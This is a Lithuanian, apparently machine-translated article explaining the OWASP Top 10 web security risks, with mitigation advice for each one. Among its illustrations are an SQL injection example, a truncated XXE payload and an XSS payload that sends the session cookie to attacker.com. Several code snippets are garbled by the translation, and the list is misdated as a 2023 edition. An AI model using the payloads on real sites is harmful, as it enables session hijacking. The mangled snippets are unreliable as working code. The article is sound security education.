10 populiariausių interneto išpuolių: pirmieji žingsniai norint apsaugoti jūsų svetainę

Bendra statistika, kuria dažnai dalijasi „InfoSec“ profesionalai, yra „78% atakų yra nukreiptos prieš programą“..

Nepraeina nė savaitė, neišgirdusi apie dar vieną masinį pažeidimą ar pažeidžiamumą, daro įtaką milijonams vartotojų visose pramonės šakose. Nesvarbu, ar šis skaičius tikslus, ar jis iš tikrųjų sudaro tik 74% (arba labiau tikėtina, kad artimesnis 85%), aišku viena: mūsų svetainėms gresia pavojus, ir jei jūsų dar nebuvo užpulta tai tik laiko ir pinigų klausimas (ir užpuoliko motyvacija).

Įdomus aspektas, kurį turi daugelis šių išpuolių, yra tas jie nėra labai techniniai ir pasiekiami tik pažengusių įsilaužėlių komandų, sėdinčių NSA rūsyje. Dažniausias šių išpuolių šaltinis yra grupė, vadinama „scenarijaus pagrobėjais“, neišmokyti jaunuoliai, kurie tiesiog atsisiunčia automatinius įrankių rinkinius iš interneto ir bando nulaužti bet kurią atsitiktinę svetainę, kurioje yra lengvai išnaudojamos žemos kabamosios spragos. Net labiau įgudę kibernetiniai nusikaltėliai pradeda savo pirmuosius bandymus naudodami tuos pačius įrankių rinkinius (arba šiek tiek tobulesnius jų variantus).

Kodėl mums turėtų rūpėti? Nes tai reiškia, kad dažniausiai pasitaikantys išpuoliai ir pažeidžiamumai, kurie dažniausiai naudojami, visada bus pirmoji ir silpniausia mūsų gynybos grandinė.

Todėl tai taip pat turi būti taškas, kuriame mes turime sutelkti savo pirmąsias pastangas palaikydami šią gynybą. Laimei, tai taip pat yra lengviausia patikrinti ir užtikrinti bent minimalų saugumo lygį.

Šiuos įprastus pažeidžiamumus draugiški OWASP savanoriai sutelkė į „dešimtuką“ – „Open Web Application Security Project“ – pasaulinę pelno nesiekiančią labdaros organizaciją, orientuotą į programinės įrangos saugumo gerinimą..

Nors šis dešimtukas nėra tikras „saugumo kontrolinis sąrašas“, dažnai tai yra pirmasis pažeidžiamumų rinkinys, kurį užpuolikai bandys atlikti. Taip pat yra daugybė automatizuotų įrankių, kurie nuskaitys jūsų svetainę, naudodami užpuolikus, leisdami jiems greitai atrasti kritinius trūkumus, suteikiančius jiems prieigą prie jūsų vertybių..

Čia yra 10 populiariausių OWASP programų saugos rizikų, 2023 m. Leidimas:

1. Injekcija

Užpuolikas gali sugebėti manipuliuoti jūsų žiniatinklio programa, kad pakeistų komandas, pateiktas jo posistemiams, tiesiog siųsdamas netinkamai suformuotas užklausas su nepažeistais kroviniais. Labiausiai žinomas iš šių atakų yra „SQL Injection“, kai jūsų svetainės vartotojas gali priversti jūsų programą pakeisti tai:

pasirinkite * iš vartotojų, kur vartotojo vardas = ‘AviD’ ir slaptažodis = ‘1234’
į tai:
pasirinkite * iš vartotojų, kur vartotojo vardas = „Administratorius“

Tai leidžia užpuolikui prisijungti prie jūsų programos kaip administratoriui, net nežinant slaptažodžio. Kitas šios atakos panaudojimas būtų pavogti paslaptis (ar pinigus), pakeisti duomenis ar net ištrinti visus veiklos pėdsakus..

Kitos formos yra LDAP injekcija, XPath injekcija, komandų injekcija, SMTP injekcija – bet kuriuo metu programa sujungia nepatikimo vartotojo įvestį į komandą, kuri perduodama vertėjui. Neįprasti duomenys gali suklaidinti vertėją vykdyti netyčines komandas arba pasiekti duomenis be tinkamo leidimo.

Šios atakos paprastai gali būti užkirsti kelią gana lengvai laikydamiesi kelių principų:

• Patvirtinkite visus nepatikimus duomenis naudodami baltojo sąrašo metodą, nepriklausomai nuo šaltinio.
• Visada naudokitės duomenų baze naudodami tik parametrines užklausas ir tik saugomas procedūras, užuot susieję eilutės užklausą.
• Dar geriau, jei norite paminėti keletą, atsižvelgiant į jūsų platformą, naudokite tinkamą ORM (Object Relational Mapping) biblioteką (pvz., Hibernate, Entity Framework, ActiveRecord)..
• Apribokite galimą sėkmingo išnaudojimo žalą, sumažindami programos duomenų bazės privilegijas.

2. Sugedusi autentifikacija

Daugelis programų reikalauja, kad prieš naudodamiesi vartotojai prisijungtų, dažnai naudodami vartotojo vardo ir slaptažodžio derinį. Šioje autentifikavimo sistemoje yra daugybė bendrų trūkumų, kurie gali būti išnaudojami įvairiais būdais: žodyno išpuoliai, automatizuota brutalioji jėga, įgaliojimų pildymas, sesijos užgrobimas ir dar daugiau.

Užpuolikas, kuriam pavyksta atspėti galiojantį slaptažodį, galėtų apsimesti tuo vartotoju ir atlikti bet kokius veiksmus, kuriuos galėtų padaryti jų auka. – negalėdamas atskirti užpuoliko ir aukos.

Norint to išvengti, reikalingas daugiasluoksnis požiūris:

• Pakeiskite visus numatytuosius slaptažodžius.
• Įdiekite tvirtus, atsitiktinius slaptažodžius visiems vartotojams: mažiausiai 12 atsitiktinių simbolių, be jokių apribojimų, geriausia saugoti slaptažodžių tvarkytuvėje; arba alternatyviai – frazė su mažiausiai 5 atsitiktiniais žodžiais.
• Apribokite prisijungimo bandymus, tam tikrą laiką blokuodami vartotojo abonementą po tam tikro skaičiaus neteisingų slaptažodžių.
• Naudokite saugią platformos sesijų tvarkyklę, kuri atsitiktine tvarka generuoja ilgojo seanso identifikatorius ir įgyvendina saugų sesijos gyvavimo ciklą.
• Apsaugokite slaptažodžius kriptografiniu „slaptažodžio maišos“ algoritmu, pavyzdžiui, „Bcrypt“, „scrypt“ arba „Argon2“..

Taip pat, apsvarstykite galimybę įdiegti kelių veiksnių autentifikavimą, kad būtų sumažintos slaptažodžiais paremtos atakos, ir neleiskite užpuolikui apeiti jūsų slaptažodžio, žinant jūsų katės vardą puslapyje „Pamiršau slaptažodį“. Yra keletas papildomų detalių, kurios gali būti svarbios, atsižvelgiant į jūsų specifinę architektūrą ir kontekstą.

3. Neskelbtinų duomenų ekspozicija

Paslaptis duomenis paprastai reikia apsaugoti šifravimu ir kitais kriptografiniais algoritmais. Tačiau tai per dažnai įgyvendinama, jei išvis, neišsamiai, užpuolikams leidžiant paimti slaptą informaciją, kurios jie neturėtų turėti, įskaitant slaptažodžius, kreditines korteles, asmeninę informaciją (PII) ir kitus svarbius verslui duomenis..

Kai kurie paplitę trūkumai apima duomenų neužšifravimą; kuriant pasirinktinę šifravimo schemą vietoje standartinių algoritmų ir protokolų; naudojant silpnus klavišus; šifravimo raktų atskleidimas; ir netinkamai įgyvendindami protokolus, pvz. nepatvirtina TLS sertifikato.

Tinkamų kriptografinių valdymo priemonių naudojimas (pvz., AES saugomų duomenų šifravimas ir TLS su srautu įgalinta HSTS) su teisingais parametrais turėtų gerai apsaugoti jūsų neskelbtinus duomenis ramybės būsenoje ir tranzito metu.

4. XML išoriniai subjektai (XXE)

Dažnai programoms reikia gauti ir apdoroti XML dokumentus iš vartotojų. Seni ar blogai sukonfigūruoti XML analizatoriai gali XML dokumentuose įgalinti XML funkciją, vadinamą išorinių subjektų nuorodomis kai bus įvertintas, įdės kito failo turinį. Užpuolikai gali tuo piktnaudžiauti skaityti konfidencialius duomenis, pasiekti vidines sistemas ir net išjungti programą per „Denial of Service“ (DoS) ataką.

Pvz., XML dokumentas, kuriame yra:

]>&xxe;

būtų įtrauktas slaptažodžio failo turinys XML dokumente.

Tai galima išvengti tiesiog išjungdami DTD ir išorinio subjekto vertinimą analizatoriuje arba naujovindami į modernią analizatoriaus biblioteką, kuri nėra pažeidžiama.

5. Sugedusi prieigos kontrolė

Dauguma žiniatinklio programų riboja tai, ką vartotojai gali pamatyti ar padaryti, ar tai yra prieiga prie kito vartotojo asmeninių duomenų, ar ribotoje zonoje.

Tačiau prieigos kontrolės mechanizmai, užtikrinantys šias ribas, paprastai yra įgyvendinami pagal užsakymą ir dažnai yra labai ydingi. Užpuolikai gali apeiti šiuos valdiklius arba jais piktnaudžiauti, kad galėtų pasiekti neleistinas funkcijas ar duomenis, pvz., pasiekti kitų vartotojų paskyras, peržiūrėti neskelbtinus failus, modifikuoti kitų vartotojų duomenis, atlikti administracinius veiksmus ir dar daugiau.

Norint ištaisyti ir užkirsti kelią prieigos kontrolės trūkumams, reikia sisteminio vaizdo. Būtina atlikti išsamią ir išsamią visų programos funkcijų, sistemos reikalavimų, vartotojo vaidmenų ir kitų apribojimų apžvalgą. Yra keletas bendrų modelių, kurie gali būti taikomi atsižvelgiant į reikalavimus. Dažniausiai pasitaikančios yra vaidmenimis pagrįsta prieigos kontrolė (RBAC), pasirenkama prieigos kontrolė (DAC) ir vientisumu pagrįsta arba privaloma prieigos kontrolė (MAC)..

Kiti daugiau nišinių modelių gali būti pagrįsti atributais (ABAC), politika (PBAC), kontekstu (CBAC) ir klasifikacija (egzistuoja keli modeliai, ypač DoD), taip pat įvairiomis kitomis pasirinktinėmis schemomis. Svarbu gerai suprojektuoti prieigos kontrolės modelį, kad jis būtų vienodai pritaikytas ir veiksmingai administruojamas. Pradėkite nuo mažiausių privilegijų principo ir suteikite leidimą tik esant reikalui.

Be to, daugelis sistemų turi apsvarstyti galimybę pritaikyti prieigą prie vartotojų asmeninių duomenų iš privatumo perspektyvos. Dar svarbiau tinkamai apsaugoti vartotojų privatumą ir užkirsti kelią prieigai be sutikimo, ypač atsižvelgiant į ES GDPR atnaujinimą..

6. Neteisinga saugos konfigūracija

Serveriai ir programos turi daug judančių dalių, kurias visas reikia tinkamai sukonfigūruoti. Tai taikoma visais programos kamino lygiais, pradedant operacine sistema ir tinklo įrenginiais, baigiant žiniatinklio serveriu ir pačia programa.

Numatytosios, neišsamios ar ad hoc konfigūracijos gali palikti failus neapsaugotus, įjungti numatytieji slaptažodžiai, atidaromos debesies paslaugos ir nutekinama slapta informacija per klaidų pranešimus ar HTTP antraštes, taip pat daugybė kitų nesaugių nustatymų, kurie užpuolikui gali leisti prieiti prie sistemos ar duomenų.

Žinoma, nėra nė vieno parametro, kuris užkirstų kelią šiam pažeidžiamumui. Reikėtų peržiūrėti visus galimai pažeidžiamus parametrus. Atminkite, kad tai taip pat apima savalaikius sistemos atnaujinimus ir pataisas!

7. Skirtingų svetainių scenarijus (XSS)

Naudojant XSS, užpuolikas gali modifikuoti tinklalapius, kuriuos kiti vartotojai mato jūsų programoje, ar tai yra pavogti tokią informaciją kaip slaptažodžius ir kredito korteles, skleisti melagingus duomenis, užgrobti vartotojo seansus, peradresuoti į kitą svetainę ar vykdyti kenksmingus scenarijus aukos naršyklėje.

Ši pažeidžiamumas gali atsirasti, kai į tinklalapį ar atsakymą įtraukiami nepatikimi duomenys, jų tinkamai nepatvirtinus ar nepašalinus. Užpuolikas gali pateikti formas su HTML ar „JavaScript“ fragmentais, kurie bus įdedami tiesiai į puslapį ir pateikiami naršyklės.

Pvz., Šis serverio kodas:

response.write („Labas rytas“ + request.getParameter („Vardas“));

naudotojo vardo parametrą įterpia tiesiai į išvestį. Tai yra skirtas grąžinti šį puslapį, jei vartotojo vardas yra „Jonas“:

Labas rytas, Jonas

Vietoj to, užpuolikas gali suleisti kenkėjišką naudą:

Labas rytas, Bossdocument.location = ‘http: //attacker.com/? Cookie =’ + document.cookie

kurį vykdys vartotojo naršyklė, siunčiant užpuolikui savo sesijos slapuką ir leidžiant užpuolikui užgrobti sesiją.

Pagrindinė apsauga nuo XSS atakų yra tinkamo kodavimo naudojimas. Pvz., HTML kodavimas pavers visus „specialiuosius“ simbolius HTML elementais taip, kad vartotojui jie būtų rodomi vienodi, bet analizatorius jų neatpažintų kaip galiojančių HTML žymų. Tačiau yra ir kitų kodavimo formų, kurios turėtų būti naudojamos atsižvelgiant į konkretų duomenų išvesties kontekstą – pvz. Atributų kodavimas, „JavaScript“ kodavimas, CSS kodavimas ir kt. Dauguma šiuolaikinių žiniatinklio platformų teikia šią funkciją automatiškai arba kaip funkcijos skambutį, be to, yra daugybė saugumo bibliotekų tiems, kurie to nedaro.

Papildomai, gera idėja įgyvendinti turinio saugos politiką (CSP), neleisti naršyklei pateikti XSS atakos, kurią patyrė. Taip pat sukonfigūruokite savo sesijos slapukus (į savo programos kodą arba į žiniatinklio serverio konfigūraciją), kad būtų įtrauktas atributas „HttpOnly“, kad būtų išvengta sėkmingo XSS išnaudojimo užgrobiant jūsų vartotojų sesijas..

8. Nesaugus deserializavimas

Naujausias šio sąrašo papildymas – nesaugus deserializavimas gali įgalinti injekcijų išpuolius ir privilegijų išplėtimą ir tam tikrose situacijose netgi gali sukelti nuotolinį kodo vykdymą ir serverio perėmimą..

Daugybė programų turi nuosekliai sujungti objektus ir duomenis į formatą, kurį galima lengvai perduoti per laidą ar net išsaugoti faile. Kai programa atkuria šiuos objektus į atmintį, tinkamai įvertinusi iš vartotojo gautus suformatuotus duomenis, gali būti įmanoma sugadinti objekto atmintį ir netgi priversti jį atlikti savavališkas funkcijas..

Geriausias būdas išvengti nesaugaus deserializacijos yra niekuomet nevertinkite objektų iš nepatikimų duomenų! Kur įmanoma, kur kas geriau vengti natūrinių įforminimo formatų, vietoj to pasirinkdami duomenų formatą, pvz., XML ar JSON..

Jei reikia pelnyti iš gimtojo formato, norint tai padaryti saugiai, reikia suprasti savo vidines programavimo kalbos žinias. Norėdami tai padaryti saugiai, reikia atlikti įvairius veiksmus, atsižvelgiant į tai, kokia kalba buvo sukurta jūsų programa. Pvz., „Java“ galite perklasifikuoti „java.io.ObjectInputStream“ klasę. Be to, rekomenduojama pagrįsti duomenis tik tais duomenimis, kuriuos jūsų paraiška pasirašė skaitmeniniu būdu.

9. Komponentų, turinčių žinomų pažeidžiamumų, naudojimas

Šiuolaikinė programinė įranga nebėra sukurta kaip monolitas – ji visada remiasi vis didesniu skaičiumi trečiųjų šalių komponentų, schemų ir atvirojo kodo bibliotekų. Bet koks žinomas šių priklausomybių pažeidžiamumas taip pat gali tiesiogiai paveikti jūsų programą! Kartais tai sukels kitų šio sąrašo pažeidžiamumų, pvz., įvedimas, nuotolinis kodo vykdymas ar bet kokia kita yda, leidžianti užpuolikams pasiekti neskelbtinus duomenis ar veiksmus.

Neseniai kaip tik tokia problema buvo apkaltinta masiniu „Equifax“ pažeidimu, kai jie neįdiegė „Apache Struts2“ pataisos. Vietoj to, jie liko prie versijos, kuri, kaip žinoma, leido nuotoliniams užpuolikams vykdyti savavališkas komandas.

Geriausias būdas išvengti kritimo į šią spąstus yra peržiūrėkite visas savo priklausomybess (įskaitant tranzitines priklausomybes) ir patikrinkite, ar kuris nors iš jų šiuo metu nėra pažeidžiamas. Įdiekite procesą, kad įsitikintumėte, jog išbandę programas, jūsų programinė įranga visada atsineša naujausias stabilias visų priklausomų bibliotekų ir komponentų versijas. Tiesą sakant, šiuo metu yra daugybė komercinių įrankių, kurie gali tai sekti jūsų komandai, taip pat nemokamas OWASP priklausomybės patikrinimas..

10. Nepakankamas registravimas & Stebėjimas

Nors mes stengiamės, kad mūsų sistemos būtų apsaugotos nuo visų galimų atakų, realiai turime sutikti, kad kai kurie išpuoliai pasieks mūsų gynybą. Tačiau atsparią gynybą turėtų sudaryti keli sluoksniai. Tai apima galimybę aptikti tuos išpuolius, kurie pavyko nepaisant visų mūsų pastangų, geriausia, kai įmanoma greičiau.

Tai vis tiek gali leisti organizacijai atsigauti po išpuolio ar net kiek įmanoma sumažinti žalą. Registravimo ir stebėjimo mechanizmas, kartu su efektyviu reagavimu į incidentą, gali užkirsti kelią užpuolikams nukreipti į papildomus vidinius išteklius, visam laikui įsitraukti į organizaciją ir neleisti pavogti ar pakeisti dar daugiau duomenų.

Įdiekite bendrą visos programos registravimo mechanizmą. Geriausia naudoti esamą biblioteką, tokią kaip log4J, bet ji nėra būtina. Žurnalų mechanizmas turėtų rinkti visus vartotojo inicijuotus veiksmus, vykdymo klaidas ir bet kokius kitus neskelbtinus įvykius. Įsitikinkite, kad žurnalo duomenys yra gerai apsaugoti, ir nepamirškite administratoriams suteikti paieškos ir peržiūros sąsajos!

Geros žinios yra tai, kad dauguma šių problemų yra gana paprastos ir lengvai išvengiamos, jei žinote, ko ieškoti. Taigi, nors tai nėra išsamus visų saugumo problemų, į kurias turėtumėte atkreipti dėmesį, sąrašas neabejotinai viena geriausių vietų pradėti savo ekspediciją į saugomą svetainę!